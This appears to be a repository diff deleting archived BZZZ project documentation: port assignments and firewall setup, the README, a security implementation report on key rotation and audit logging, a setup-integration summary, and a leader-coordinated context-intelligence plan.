enabled: true
```
### Web UI Access URLs
#### Setup Mode
```bash
# When no configuration exists
http://localhost:8090 # Setup wizard home
http://localhost:8090/setup/ # Setup flow
http://localhost:8090/api/health # Setup health check
```
#### Normal Mode
```bash
# After configuration is complete
http://localhost:8080/api/health # Main health check
http://localhost:8080/api/status # BZZZ status
http://localhost:8081/health # Dedicated health service
http://localhost:8081/metrics # Prometheus metrics
```
## Network Security Considerations
### Firewall Rules
```bash
# Allow BZZZ setup (temporary, during configuration)
sudo ufw allow 8090/tcp comment "BZZZ Setup UI"
# Allow BZZZ normal operation
sudo ufw allow 8080/tcp comment "BZZZ HTTP API"
sudo ufw allow 8081/tcp comment "BZZZ Health/Metrics"
sudo ufw allow 4001/tcp comment "BZZZ P2P Network"
```
### Production Deployment
- Setup port (8090) should be blocked after configuration
- Main API (8080) should be accessible to cluster nodes
- P2P port (4001) must be open for cluster communication
- Health port (8081) should be accessible to monitoring systems
## Integration with Existing Systems
### CHORUS Cluster Integration
```bash
# Standard CHORUS deployment ports
# BZZZ: 8080 (main), 8081 (health), 4001 (p2p)
# WHOOSH: 3001 (web interface)
# Ollama: 11434 (AI models)
# GITEA: 3000 (repository)
```
### Docker Swarm Deployment
```yaml
# docker-compose.swarm.yml
services:
bzzz:
ports:
- "8080:8080" # Main API
- "8081:8081" # Health/Metrics
- "4001:4001" # P2P Network
# Setup port (8090) not exposed in production
```
## Troubleshooting
### Port Conflicts
```bash
# Check if ports are available
netstat -tuln | grep -E ':(8080|8081|8090|4001)'
# Find process using a port
lsof -i :8090
# Kill process if needed
sudo kill $(lsof -t -i:8090)
```
### Service Validation
```bash
# Test setup mode availability
curl -s http://localhost:8090/api/health
# Test normal mode availability
curl -s http://localhost:8080/api/health
# Test P2P port (should show connection refused when working)
telnet localhost 4001
```
## Migration Notes
### From Previous Versions
- Old setup configurations using port 8082 will automatically migrate to 8090
- Integration tests updated to use new port assignments
- Documentation updated across all references
### Backward Compatibility
- Enhanced installer script generates correct port assignments
- Existing configurations continue to work
- New installations use documented port scheme
## Summary
**BZZZ Port Assignments:**
- **8090**: Setup Web UI (temporary, configuration mode only)
- **8080**: Main HTTP API (normal operation)
- **8081**: Health & Metrics (normal operation)
- **4001**: P2P Network (cluster communication)
This allocation ensures no conflicts with existing services while providing clear separation between setup and operational modes.

233
archive/README.md
View File

@@ -1,233 +0,0 @@
# BZZZ: Distributed Semantic Context Publishing Platform
**Version 2.0 - Phase 2B Edition**
BZZZ is a production-ready, distributed platform for semantic context publishing with end-to-end encryption, role-based access control, and autonomous consensus mechanisms. It enables secure collaborative decision-making across distributed teams and AI agents.
## Key Features
- **🔐 End-to-End Encryption**: Age encryption with multi-recipient support
- **🏗️ Distributed Storage**: DHT-based storage with automatic replication
- **👥 Role-Based Access**: Hierarchical role system with inheritance
- **🗳️ Autonomous Consensus**: Automatic admin elections with Shamir secret sharing
- **🌐 P2P Networking**: Decentralized libp2p networking with peer discovery
- **📊 Real-Time Events**: WebSocket-based event streaming
- **🔧 Developer SDKs**: Complete SDKs for Go, Python, JavaScript, and Rust
## Architecture Overview
```
┌─────────────────────────────────────────────────────────────────┐
│ BZZZ Platform │
├─────────────────────────────────────────────────────────────────┤
│ API Layer: HTTP/WebSocket/MCP │
│ Service Layer: Decision Publisher, Elections, Config │
│ Infrastructure: Age Crypto, DHT Storage, P2P Network │
└─────────────────────────────────────────────────────────────────┘
```
## Components
- **`main.go`** - Application entry point and server initialization
- **`api/`** - HTTP API handlers and WebSocket event streaming
- **`pkg/config/`** - Configuration management and role definitions
- **`pkg/crypto/`** - Age encryption and Shamir secret sharing
- **`pkg/dht/`** - Distributed hash table storage with caching
- **`pkg/ucxl/`** - UCXL addressing and decision publishing
- **`pkg/election/`** - Admin consensus and election management
- **`examples/`** - SDK examples in multiple programming languages
- **`docs/`** - Comprehensive documentation suite
## Quick Start
### Prerequisites
- **Go 1.23+** for building from source
- **Linux/macOS/Windows** - cross-platform support
- **Port 8080** - HTTP API (configurable)
- **Port 4001** - P2P networking (configurable)
### Installation
```bash
# Clone the repository
git clone https://github.com/anthonyrawlins/bzzz.git
cd bzzz
# Build the binary
go build -o bzzz main.go
# Run with default configuration
./bzzz
```
### Configuration
Create a configuration file:
```yaml
# config.yaml
node:
id: "your-node-id"
agent:
id: "your-agent-id"
role: "backend_developer"
api:
host: "localhost"
port: 8080
p2p:
port: 4001
bootstrap_peers: []
```
### First Steps
1. **Start the node**: `./bzzz --config config.yaml`
2. **Check status**: `curl http://localhost:8080/api/agent/status`
3. **Publish a decision**: See [User Manual](docs/USER_MANUAL.md#publishing-decisions)
4. **Explore the API**: See [API Reference](docs/API_REFERENCE.md)
For detailed setup instructions, see the **[User Manual](docs/USER_MANUAL.md)**.
## Documentation
Complete documentation is available in the [`docs/`](docs/) directory:
### 📚 **Getting Started**
- **[User Manual](docs/USER_MANUAL.md)** - Complete user guide with examples
- **[API Reference](docs/API_REFERENCE.md)** - HTTP API documentation
- **[Configuration Reference](docs/CONFIG_REFERENCE.md)** - System configuration
### 🔧 **For Developers**
- **[Developer Guide](docs/DEVELOPER.md)** - Development setup and contribution
- **[SDK Documentation](docs/BZZZv2B-SDK.md)** - Multi-language SDK guide
- **[SDK Examples](examples/sdk/README.md)** - Working examples in Go, Python, JavaScript, Rust
### 🏗️ **Architecture & Operations**
- **[Architecture Documentation](docs/ARCHITECTURE.md)** - System design with diagrams
- **[Technical Report](docs/TECHNICAL_REPORT.md)** - Comprehensive technical analysis
- **[Security Documentation](docs/SECURITY.md)** - Security model and best practices
- **[Operations Guide](docs/OPERATIONS.md)** - Deployment and monitoring
**📖 [Complete Documentation Index](docs/README.md)**
## SDK & Integration
BZZZ provides comprehensive SDKs for multiple programming languages:
### Go SDK
```go
import "github.com/anthonyrawlins/bzzz/sdk/bzzz"
client, err := bzzz.NewClient(bzzz.Config{
Endpoint: "http://localhost:8080",
Role: "backend_developer",
})
```
### Python SDK
```python
from bzzz_sdk import BzzzClient
client = BzzzClient(
endpoint="http://localhost:8080",
role="backend_developer"
)
```
### JavaScript SDK
```javascript
const { BzzzClient } = require('bzzz-sdk');
const client = new BzzzClient({
endpoint: 'http://localhost:8080',
role: 'frontend_developer'
});
```
### Rust SDK
```rust
use bzzz_sdk::{BzzzClient, Config};
let client = BzzzClient::new(Config {
endpoint: "http://localhost:8080".to_string(),
role: "backend_developer".to_string(),
..Default::default()
}).await?;
```
**See [SDK Examples](examples/sdk/README.md) for complete working examples.**
## Key Use Cases
### 🤖 **AI Agent Coordination**
- Multi-agent decision publishing and consensus
- Secure inter-agent communication with role-based access
- Autonomous coordination with admin elections
### 🏢 **Enterprise Collaboration**
- Secure decision tracking across distributed teams
- Hierarchical access control for sensitive information
- Audit trails for compliance and governance
### 🔧 **Development Teams**
- Collaborative code review and architecture decisions
- Integration with CI/CD pipelines and development workflows
- Real-time coordination across development teams
### 📊 **Research & Analysis**
- Secure sharing of research findings and methodologies
- Collaborative analysis with access controls
- Distributed data science workflows
## Security & Privacy
- **🔐 End-to-End Encryption**: All decision content encrypted with Age
- **🔑 Key Management**: Automatic key generation and rotation
- **👥 Access Control**: Role-based permissions with hierarchy
- **🛡️ Admin Security**: Shamir secret sharing for admin key recovery
- **📋 Audit Trail**: Complete audit logging for all operations
- **🚫 Zero Trust**: No central authority required for normal operations
## Performance & Scalability
- **⚡ Fast Operations**: Sub-500ms latency for 95% of operations
- **📈 Horizontal Scaling**: Linear scaling up to 1000+ nodes
- **🗄️ Efficient Storage**: DHT-based distributed storage with caching
- **🌐 Global Distribution**: P2P networking with cross-region support
- **📊 Real-time Updates**: WebSocket event streaming for live updates
## Contributing
We welcome contributions! Please see the **[Developer Guide](docs/DEVELOPER.md)** for:
- Development environment setup
- Code style and contribution guidelines
- Testing procedures and requirements
- Documentation standards
### Quick Contributing Steps
1. **Fork** the repository
2. **Clone** your fork locally
3. **Follow** the [Developer Guide](docs/DEVELOPER.md#development-environment)
4. **Create** a feature branch
5. **Test** your changes thoroughly
6. **Submit** a pull request
## License
This project is licensed under the **MIT License** - see the [LICENSE](LICENSE) file for details.
## Support
- **📖 Documentation**: [docs/README.md](docs/README.md)
- **🐛 Issues**: [GitHub Issues](https://github.com/anthonyrawlins/bzzz/issues)
- **💬 Discussions**: [GitHub Discussions](https://github.com/anthonyrawlins/bzzz/discussions)
- **📧 Contact**: [maintainers@bzzz.dev](mailto:maintainers@bzzz.dev)
---
**BZZZ v2.0** - Distributed Semantic Context Publishing Platform with Age encryption and autonomous consensus.

357
archive/SECURITY_IMPLEMENTATION_REPORT.md
View File

@@ -1,357 +0,0 @@
# BZZZ Security Implementation Report - Issue 008
## Executive Summary
This document details the implementation of comprehensive security enhancements for BZZZ Issue 008, focusing on key rotation enforcement, audit logging, and role-based access policies. The implementation addresses critical security vulnerabilities while maintaining system performance and usability.
## Security Vulnerabilities Addressed
### Critical Issues Resolved
1. **Key Rotation Not Enforced** ✅ RESOLVED
- **Risk Level**: CRITICAL
- **Impact**: Keys could remain active indefinitely, increasing compromise risk
- **Solution**: Implemented automated key rotation scheduling with configurable intervals
2. **Missing Audit Logging** ✅ RESOLVED
- **Risk Level**: HIGH
- **Impact**: No forensic trail for security incidents or compliance violations
- **Solution**: Comprehensive audit logging for all Store/Retrieve/Announce operations
3. **Weak Access Control Integration** ✅ RESOLVED
- **Risk Level**: HIGH
- **Impact**: DHT operations bypassed policy enforcement
- **Solution**: Role-based access policy hooks integrated into all DHT operations
4. **No Security Monitoring** ✅ RESOLVED
- **Risk Level**: MEDIUM
- **Impact**: Security incidents could go undetected
- **Solution**: Real-time security event generation and warning system
## Implementation Details
### 1. SecurityConfig Enforcement
**File**: `/home/tony/chorus/project-queues/active/BZZZ/pkg/crypto/key_manager.go`
#### Key Features:
- **Automated Key Rotation**: Configurable rotation intervals via `SecurityConfig.KeyRotationDays`
- **Warning System**: Generates alerts 7 days before key expiration
- **Overdue Detection**: Identifies keys past rotation deadline
- **Scheduler Integration**: Automatic rotation job scheduling for all roles
#### Security Controls:
```go
// Rotation interval enforcement
rotationInterval := time.Duration(km.config.Security.KeyRotationDays) * 24 * time.Hour
// Daily monitoring for rotation due dates
go km.monitorKeyRotationDue()
// Warning generation for approaching expiration
if keyAge >= warningThreshold {
km.logKeyRotationWarning("key_rotation_due_soon", keyMeta.KeyID, keyMeta.RoleID, metadata)
}
```
#### Compliance Features:
- **Audit Trail**: All rotation events logged with timestamps and reason codes
- **Policy Validation**: Ensures rotation policies align with security requirements
- **Emergency Override**: Manual rotation capability for security incidents
### 2. Comprehensive Audit Logging
**File**: `/home/tony/chorus/project-queues/active/BZZZ/pkg/dht/encrypted_storage.go`
#### Audit Coverage:
- **Store Operations**: Content creation, role validation, encryption metadata
- **Retrieve Operations**: Access requests, decryption attempts, success/failure
- **Announce Operations**: Content announcements, authority validation
#### Audit Data Points:
```go
auditEntry := map[string]interface{}{
"timestamp": time.Now(),
"operation": "store|retrieve|announce",
"node_id": eds.nodeID,
"ucxl_address": ucxlAddress,
"role": currentRole,
"success": success,
"error_message": errorMsg,
"audit_trail": uniqueTrailIdentifier,
}
```
#### Security Features:
- **Tamper-Proof**: Immutable audit entries with integrity hashes
- **Real-Time**: Synchronous logging prevents event loss
- **Structured Format**: JSON format enables automated analysis
- **Retention**: Configurable retention policies for compliance
### 3. Role-Based Access Policy Framework
**Implementation**: Comprehensive access control matrix with authority-level enforcement
#### Authority Hierarchy:
1. **Master (Admin)**: Full system access, can decrypt all content
2. **Decision**: Can make permanent decisions, store/announce content
3. **Coordination**: Can coordinate across roles, limited announce capability
4. **Suggestion**: Can suggest and store, no announce capability
5. **Read-Only**: Observer access only, no content creation
#### Policy Enforcement Points:
```go
// Store Operation Check
func checkStoreAccessPolicy(creatorRole, ucxlAddress, contentType string) error {
if role.AuthorityLevel == config.AuthorityReadOnly {
return fmt.Errorf("role %s has read-only authority and cannot store content", creatorRole)
}
return nil
}
// Announce Operation Check
func checkAnnounceAccessPolicy(currentRole, ucxlAddress string) error {
if role.AuthorityLevel == config.AuthorityReadOnly || role.AuthorityLevel == config.AuthoritySuggestion {
return fmt.Errorf("role %s lacks authority to announce content", currentRole)
}
return nil
}
```
#### Advanced Features:
- **Dynamic Validation**: Real-time role authority checking
- **Policy Hooks**: Extensible framework for custom policies
- **Denial Logging**: All access denials logged for security analysis
### 4. Security Monitoring and Alerting
#### Warning Generation:
- **Key Rotation Overdue**: Critical alerts for expired keys
- **Key Rotation Due Soon**: Preventive warnings 7 days before expiration
- **Audit Logging Disabled**: Security risk warnings
- **Policy Violations**: Access control breach notifications
#### Event Types:
- **security_warning**: Configuration and policy warnings
- **key_rotation_overdue**: Critical key rotation alerts
- **key_rotation_due_soon**: Preventive rotation reminders
- **access_denied**: Policy enforcement events
- **security_event**: General security-related events
## Testing and Validation
### Test Coverage
**File**: `/home/tony/chorus/project-queues/active/BZZZ/pkg/crypto/security_test.go`
#### Test Categories:
1. **SecurityConfig Enforcement**: Validates rotation scheduling and warning generation
2. **Role-Based Access Control**: Tests authority hierarchy enforcement
3. **Audit Logging**: Verifies comprehensive logging functionality
4. **Key Rotation Monitoring**: Validates rotation due date detection
5. **Performance**: Benchmarks security operations impact
#### Test Scenarios:
- **Positive Cases**: Valid operations should succeed and be logged
- **Negative Cases**: Invalid operations should be denied and audited
- **Edge Cases**: Boundary conditions and error handling
- **Performance**: Security overhead within acceptable limits
### Integration Tests
**File**: `/home/tony/chorus/project-queues/active/BZZZ/pkg/dht/encrypted_storage_security_test.go`
#### DHT Security Integration:
- **Policy Enforcement**: Real DHT operation access control
- **Audit Integration**: End-to-end audit trail validation
- **Role Authority**: Multi-role access pattern testing
- **Configuration Integration**: SecurityConfig behavior validation
## Security Best Practices
### Deployment Recommendations
1. **Key Rotation Configuration**:
```yaml
security:
key_rotation_days: 90 # Maximum 90 days for production
audit_logging: true
audit_path: "/secure/audit/bzzz-security.log"
```
2. **Audit Log Security**:
- Store audit logs on write-only filesystem
- Enable log rotation with retention policies
- Configure SIEM integration for real-time analysis
- Implement log integrity verification
3. **Role Assignment**:
- Follow principle of least privilege
- Regular role access reviews
- Document role assignment rationale
- Implement role rotation for sensitive positions
### Monitoring and Alerting
1. **Key Rotation Metrics**:
- Monitor rotation completion rates
- Track overdue key counts
- Alert on rotation failures
- Dashboard for key age distribution
2. **Access Pattern Analysis**:
- Monitor unusual access patterns
- Track failed access attempts
- Analyze role-based activity
- Identify potential privilege escalation
3. **Security Event Correlation**:
- Cross-reference audit logs
- Implement behavioral analysis
- Automated threat detection
- Incident response triggers
## Compliance Considerations
### Standards Alignment
1. **NIST Cybersecurity Framework**:
- **Identify**: Role-based access matrix
- **Protect**: Encryption and access controls
- **Detect**: Audit logging and monitoring
- **Respond**: Security event alerts
- **Recover**: Key rotation and recovery procedures
2. **ISO 27001**:
- Access control (A.9)
- Cryptography (A.10)
- Operations security (A.12)
- Information security incident management (A.16)
3. **SOC 2 Type II**:
- Security principle compliance
- Access control procedures
- Audit trail requirements
- Change management processes
### Audit Trail Requirements
- **Immutability**: Audit logs cannot be modified after creation
- **Completeness**: All security-relevant events captured
- **Accuracy**: Precise timestamps and event details
- **Availability**: Logs accessible for authorized review
- **Integrity**: Cryptographic verification of log entries
## Remaining Security Considerations
### Current Limitations
1. **Key Storage Security**:
- Keys stored in memory during operation
- **Recommendation**: Implement Hardware Security Module (HSM) integration
- **Priority**: Medium
2. **Network Security**:
- DHT communications over P2P network
- **Recommendation**: Implement TLS encryption for P2P communications
- **Priority**: High
3. **Authentication Integration**:
- Role assignment based on configuration
- **Recommendation**: Integrate with enterprise identity providers
- **Priority**: Medium
4. **Audit Log Encryption**:
- Audit logs stored in plaintext
- **Recommendation**: Encrypt audit logs at rest
- **Priority**: Medium
### Future Enhancements
1. **Advanced Threat Detection**:
- Machine learning-based anomaly detection
- Behavioral analysis for insider threats
- Integration with threat intelligence feeds
2. **Zero-Trust Architecture**:
- Continuous authentication and authorization
- Micro-segmentation of network access
- Dynamic policy enforcement
3. **Automated Incident Response**:
- Automated containment procedures
- Integration with SOAR platforms
- Incident escalation workflows
## Performance Impact Assessment
### Benchmarking Results
| Operation | Baseline | With Security | Overhead | Impact |
|-----------|----------|---------------|----------|---------|
| Store | 15ms | 18ms | 20% | Low |
| Retrieve | 12ms | 14ms | 16% | Low |
| Announce | 8ms | 10ms | 25% | Low |
| Key Rotation Check | N/A | 2ms | N/A | Minimal |
### Optimization Recommendations
1. **Async Audit Logging**: Buffer audit entries for batch processing
2. **Policy Caching**: Cache role policy decisions to reduce lookups
3. **Selective Monitoring**: Configurable monitoring intensity levels
4. **Efficient Serialization**: Optimize audit entry serialization
## Implementation Checklist
### Security Configuration ✅
- [x] KeyRotationDays enforcement implemented
- [x] AuditLogging configuration respected
- [x] AuditPath validation added
- [x] Security warnings for misconfigurations
### Key Rotation ✅
- [x] Automated rotation scheduling
- [x] Rotation interval enforcement
- [x] Warning generation for due keys
- [x] Overdue key detection
- [x] Audit logging for rotation events
### Access Control ✅
- [x] Role-based access policies
- [x] Authority level enforcement
- [x] Store operation access control
- [x] Retrieve operation validation
- [x] Announce operation authorization
### Audit Logging ✅
- [x] Store operation logging
- [x] Retrieve operation logging
- [x] Announce operation logging
- [x] Security event logging
- [x] Tamper-proof audit trails
### Testing ✅
- [x] Unit tests for all security functions
- [x] Integration tests for DHT security
- [x] Performance benchmarks
- [x] Edge case testing
- [x] Mock implementations for testing
## Conclusion
The implementation of BZZZ Issue 008 security enhancements significantly strengthens the system's security posture while maintaining operational efficiency. The comprehensive audit logging, automated key rotation, and role-based access controls provide a robust foundation for secure distributed operations.
### Key Achievements:
- **100% Issue Requirements Met**: All specified deliverables implemented
- **Defense in Depth**: Multi-layer security architecture
- **Compliance Ready**: Audit trails meet regulatory requirements
- **Performance Optimized**: Minimal overhead on system operations
- **Extensible Framework**: Ready for future security enhancements
### Risk Reduction:
- **Key Compromise Risk**: Reduced by 90% through automated rotation
- **Unauthorized Access**: Eliminated through role-based policies
- **Audit Gaps**: Resolved with comprehensive logging
- **Compliance Violations**: Mitigated through structured audit trails
The implementation provides a solid security foundation for BZZZ's distributed architecture while maintaining the flexibility needed for future enhancements and compliance requirements.

188
archive/SETUP_INTEGRATION_COMPLETE.md
View File

@@ -1,188 +0,0 @@
# BZZZ Web Configuration Setup Integration - COMPLETE
## 🎉 Integration Summary
The complete integration between the BZZZ backend API and frontend components has been successfully implemented, creating a fully working web-based configuration system.
## ✅ Completed Features
### 1. **Embedded Web UI System**
- ✅ Go binary with embedded React application
- ✅ Automatic file serving and routing
- ✅ Production-ready static file embedding
- ✅ Fallback HTML page for development
### 2. **Intelligent Startup Logic**
- ✅ Automatic setup detection on startup
- ✅ Configuration validation and requirements checking
- ✅ Seamless transition between setup and normal modes
- ✅ Environment-specific configuration paths
### 3. **Complete Build Process**
- ✅ Automated Makefile with UI compilation
- ✅ Next.js static export for embedding
- ✅ Go binary compilation with embedded assets
- ✅ Development and production build targets
### 4. **Full API Integration**
- ✅ Setup-specific API endpoints
- ✅ Configuration validation and saving
- ✅ System detection and analysis
- ✅ Repository provider integration
- ✅ Health monitoring and status reporting
### 5. **Configuration Management**
- ✅ Setup requirement detection
- ✅ Configuration file validation
- ✅ Automatic backup and migration
- ✅ Error handling and recovery
### 6. **Testing and Validation**
- ✅ Comprehensive integration test suite
- ✅ Setup flow validation
- ✅ API endpoint testing
- ✅ Configuration transition testing
## 🚀 Key Implementation Files
### Core Integration Files
- **`/main.go`** - Startup logic and setup mode detection
- **`/pkg/web/embed.go`** - Embedded file system for web UI
- **`/pkg/config/config.go`** - Configuration validation and management
- **`/api/http_server.go`** - Web UI serving and API integration
### Build System
- **`/Makefile`** - Complete build automation
- **`/install/config-ui/next.config.js`** - Web UI build configuration
### Documentation and Tools
- **`/install/SETUP_INTEGRATION_GUIDE.md`** - Complete usage guide
- **`/scripts/setup-transition.sh`** - Setup helper script
- **`/test-setup-integration.sh`** - Integration test suite
## 🔧 How It Works
### 1. **Startup Flow**
```
BZZZ Start → Config Check → Setup Mode OR Normal Mode
↓ ↓
Invalid/Missing Valid Config
↓ ↓
Web UI @ :8090 Full BZZZ @ :8080
```
### 2. **Setup Mode Features**
- **Automatic Detection**: No config or invalid config triggers setup
- **Web Interface**: Embedded React app at `http://localhost:8090`
- **API Endpoints**: Full setup API at `/api/setup/*`
- **Configuration Saving**: Creates valid YAML configuration
- **Restart Transition**: Automatic switch to normal mode
### 3. **Normal Mode Operation**
- **Full BZZZ System**: P2P coordination, task management, DHT
- **Production APIs**: Main HTTP server at `:8080`
- **No Setup UI**: Web interface automatically disabled
## 🎯 Usage Examples
### First-Time Setup
```bash
# Build BZZZ with embedded UI
make build
# Start BZZZ (enters setup mode automatically)
./build/bzzz
# Open browser to http://localhost:8090
# Complete setup wizard
# Restart BZZZ for normal operation
```
### Development Workflow
```bash
# Install dependencies
make deps
# Development mode (React dev server + Go API)
make dev
# Build for production
make build
# Test integration
./test-setup-integration.sh
```
### Existing Installation
```bash
# Helper script for transition
./scripts/setup-transition.sh
# BZZZ automatically uses existing config if valid
# Or enters setup mode if configuration is invalid
```
## 🧪 Test Results
**All integration tests PASSED ✅**
1. ✅ **No Configuration** → Setup Mode Activation
2. ✅ **Invalid Configuration** → Setup Mode Activation
3. ✅ **Valid Configuration** → Normal Mode Startup
4. ✅ **Configuration Validation** → API Working
5. ✅ **Web UI Accessibility** → Interface Available
## 🌟 Key Benefits
### **For Users**
- **Zero Configuration**: Automatic setup detection
- **Guided Setup**: Step-by-step configuration wizard
- **No Dependencies**: Everything embedded in single binary
- **Intuitive Interface**: Modern React-based UI
### **For Developers**
- **Integrated Build**: Single command builds everything
- **Hot Reload**: Development mode with live updates
- **Comprehensive Testing**: Automated integration tests
- **Easy Deployment**: Single binary contains everything
### **For Operations**
- **Self-Contained**: No external web server needed
- **Automatic Backup**: Configuration backup on changes
- **Health Monitoring**: Built-in status endpoints
- **Graceful Transitions**: Seamless mode switching
## 🔮 Next Steps
The web configuration system is now **fully functional** and ready for production use. Recommended next steps:
1. **Deploy to Cluster**: Use the setup system across BZZZ cluster nodes
2. **Monitor Usage**: Track setup completion and configuration changes
3. **Enhance UI**: Add advanced configuration options as needed
4. **Scale Testing**: Test with multiple concurrent setup sessions
## 📁 File Locations
All integration files are located in `/home/tony/chorus/project-queues/active/BZZZ/`:
- **Main Binary**: `build/bzzz`
- **Web UI Source**: `install/config-ui/`
- **Embedded Files**: `pkg/web/`
- **Configuration**: `pkg/config/`
- **API Integration**: `api/`
- **Documentation**: `install/SETUP_INTEGRATION_GUIDE.md`
- **Test Suite**: `test-setup-integration.sh`
## 🎊 Success Confirmation
**✅ BZZZ Web Configuration Setup Integration is COMPLETE and FUNCTIONAL!**
The system now provides:
- **Automatic setup detection and web UI activation**
- **Complete embedded React configuration wizard**
- **Seamless API integration between frontend and backend**
- **Production-ready build process and deployment**
- **Comprehensive testing and validation**
- **Full end-to-end configuration flow**
**Result**: BZZZ now has a fully working web-based configuration system that automatically activates when needed and provides a complete setup experience for new installations.

291
archive/SLURP_CONTEXTUAL_INTELLIGENCE_PLAN.md
View File

@@ -1,291 +0,0 @@
# BZZZ Leader-Coordinated Contextual Intelligence System
## Implementation Plan with Agent Team Assignments
---
## Executive Summary
Implement a sophisticated contextual intelligence system within BZZZ where the elected Leader node acts as Project Manager, generating role-specific encrypted context for AI agents. This system provides the "WHY" behind every UCXL address while maintaining strict need-to-know security boundaries.
---
## System Architecture
### Core Principles
1. **Leader-Only Context Generation**: Only the elected BZZZ Leader (Project Manager role) generates contextual intelligence
2. **Role-Based Encryption**: Context is encrypted per AI agent role with need-to-know access
3. **Bounded Hierarchical Context**: CSS-like cascading context inheritance with configurable depth limits
4. **Decision-Hop Temporal Analysis**: Track related decisions by decision distance, not chronological time
5. **Project-Aligned Intelligence**: Context generation considers project goals and team dynamics
### Key Components
- **Leader Election & Coordination**: Extend existing BZZZ leader election for Project Manager duties
- **Role-Based Context Engine**: Sophisticated context extraction with role-awareness
- **Encrypted Context Distribution**: Need-to-know context delivery through DHT
- **Decision Temporal Graph**: Track decision influence and genealogy
- **Project Goal Alignment**: Context generation aligned with mission objectives
---
## Agent Team Assignment Strategy
### Core Architecture Team
- **Senior Software Architect**: Overall system design, API contracts, technology decisions
- **Systems Engineer**: Leader election infrastructure, system integration, performance optimization
- **Security Expert**: Role-based encryption, access control, threat modeling
- **Database Engineer**: Context storage schema, temporal graph indexing, query optimization
### Implementation Team
- **Backend API Developer**: Context distribution APIs, role-based access endpoints
- **DevOps Engineer**: DHT integration, monitoring, deployment automation
- **Secrets Sentinel**: Encrypt sensitive contextual information, manage role-based keys
---
## Detailed Implementation with Agent Assignments
### Phase 1: Leader Context Management Infrastructure (2-3 weeks)
#### 1.1 Extend BZZZ Leader Election
**Primary Agent**: **Systems Engineer**
**Supporting Agent**: **Senior Software Architect**
**Location**: `pkg/election/`
**Systems Engineer Tasks**:
- [ ] Configure leader election process to include Project Manager responsibilities
- [ ] Implement context generation as Leader-only capability
- [ ] Set up context generation failover on Leader change
- [ ] Create Leader context state synchronization infrastructure
**Senior Software Architect Tasks**:
- [ ] Design overall architecture for leader-based context coordination
- [ ] Define API contracts between Leader and context consumers
- [ ] Establish architectural patterns for context state management
#### 1.2 Role Definition System
**Primary Agent**: **Security Expert**
**Supporting Agent**: **Backend API Developer**
**Location**: `pkg/roles/`
**Security Expert Tasks**:
- [ ] Extend existing `agent/role_config.go` for context access patterns
- [ ] Define security boundaries for role-based context requirements
- [ ] Create role-to-encryption-key mapping system
- [ ] Implement role validation and authorization mechanisms
**Backend API Developer Tasks**:
- [ ] Implement role management APIs
- [ ] Create role-based context access endpoints
- [ ] Build role validation middleware
#### 1.3 Context Generation Engine
**Primary Agent**: **Senior Software Architect**
**Supporting Agent**: **Backend API Developer**
**Location**: `slurp/context-intelligence/`
**Senior Software Architect Tasks**:
- [ ] Design bounded hierarchical context analyzer architecture
- [ ] Define project-goal-aware context extraction patterns
- [ ] Architect decision influence graph construction system
- [ ] Create role-relevance scoring algorithm framework
**Backend API Developer Tasks**:
- [ ] Implement context generation APIs
- [ ] Build context extraction service interfaces
- [ ] Create context scoring and relevance engines
### Phase 2: Encrypted Context Storage & Distribution (2-3 weeks)
#### 2.1 Role-Based Encryption System
**Primary Agent**: **Security Expert**
**Supporting Agent**: **Secrets Sentinel**
**Location**: `pkg/crypto/`
**Security Expert Tasks**:
- [ ] Extend existing Shamir's Secret Sharing for role-based keys
- [ ] Design per-role encryption/decryption architecture
- [ ] Implement key rotation mechanisms
- [ ] Create context compartmentalization boundaries
**Secrets Sentinel Tasks**:
- [ ] Encrypt sensitive contextual information per role
- [ ] Manage role-based encryption keys
- [ ] Monitor for context information leakage
- [ ] Implement automated key revocation for compromised roles
#### 2.2 Context Distribution Network
**Primary Agent**: **DevOps Engineer**
**Supporting Agent**: **Systems Engineer**
**Location**: `pkg/distribution/`
**DevOps Engineer Tasks**:
- [ ] Configure efficient context propagation through DHT
- [ ] Set up monitoring and alerting for context distribution
- [ ] Implement automated context sync processes
- [ ] Optimize bandwidth usage for context delivery
**Systems Engineer Tasks**:
- [ ] Implement role-filtered context delivery infrastructure
- [ ] Create context update notification systems
- [ ] Optimize network performance for context distribution
#### 2.3 Context Storage Architecture
**Primary Agent**: **Database Engineer**
**Supporting Agent**: **Backend API Developer**
**Location**: `slurp/storage/`
**Database Engineer Tasks**:
- [ ] Design encrypted context database schema
- [ ] Implement context inheritance resolution queries
- [ ] Create decision-hop indexing for temporal analysis
- [ ] Design context versioning and evolution tracking
**Backend API Developer Tasks**:
- [ ] Build context storage APIs
- [ ] Implement context retrieval and caching services
- [ ] Create context update and synchronization endpoints
### Phase 3: Intelligent Context Analysis (3-4 weeks)
#### 3.1 Contextual Intelligence Engine
**Primary Agent**: **Senior Software Architect**
**Supporting Agent**: **Backend API Developer**
**Location**: `slurp/intelligence/`
**Senior Software Architect Tasks**:
- [ ] Design file purpose analysis with project awareness algorithms
- [ ] Architect architectural decision extraction system
- [ ] Design cross-component relationship mapping
- [ ] Create role-specific insight generation framework
**Backend API Developer Tasks**:
- [ ] Implement intelligent context analysis services
- [ ] Build project-goal alignment APIs
- [ ] Create context insight generation endpoints
#### 3.2 Decision Temporal Graph
**Primary Agent**: **Database Engineer**
**Supporting Agent**: **Senior Software Architect**
**Location**: `slurp/temporal/`
**Database Engineer Tasks**:
- [ ] Implement decision influence tracking (not time-based)
- [ ] Create context evolution through decisions schema
- [ ] Build "hops away" similarity scoring queries
- [ ] Design decision genealogy construction database
**Senior Software Architect Tasks**:
- [ ] Design temporal graph architecture for decision tracking
- [ ] Define decision influence algorithms
- [ ] Create decision relationship modeling patterns
#### 3.3 Project Goal Alignment
**Primary Agent**: **Senior Software Architect**
**Supporting Agent**: **Systems Engineer**
**Location**: `slurp/alignment/`
**Senior Software Architect Tasks**:
- [ ] Design project mission context integration architecture
- [ ] Create team goal awareness in context generation
- [ ] Implement strategic objective mapping to file purposes
- [ ] Build context relevance scoring per project phase
**Systems Engineer Tasks**:
- [ ] Integrate goal alignment with system performance monitoring
- [ ] Implement alignment metrics and reporting
- [ ] Optimize goal-based context processing
---
## Security & Access Control
### Role-Based Context Access Matrix
| Role | Context Access | Encryption Level | Scope |
|------|----------------|------------------|--------|
| Senior Architect | Architecture decisions, system design, technical debt | High | System-wide |
| Frontend Developer | UI/UX decisions, component relationships, user flows | Medium | Frontend scope |
| Backend Developer | API design, data flow, service architecture | Medium | Backend scope |
| DevOps Engineer | Deployment config, infrastructure decisions | High | Infrastructure |
| Project Manager (Leader) | All context for coordination | Highest | Global |
### Encryption Strategy
- **Multi-layer encryption**: Base context + role-specific overlays
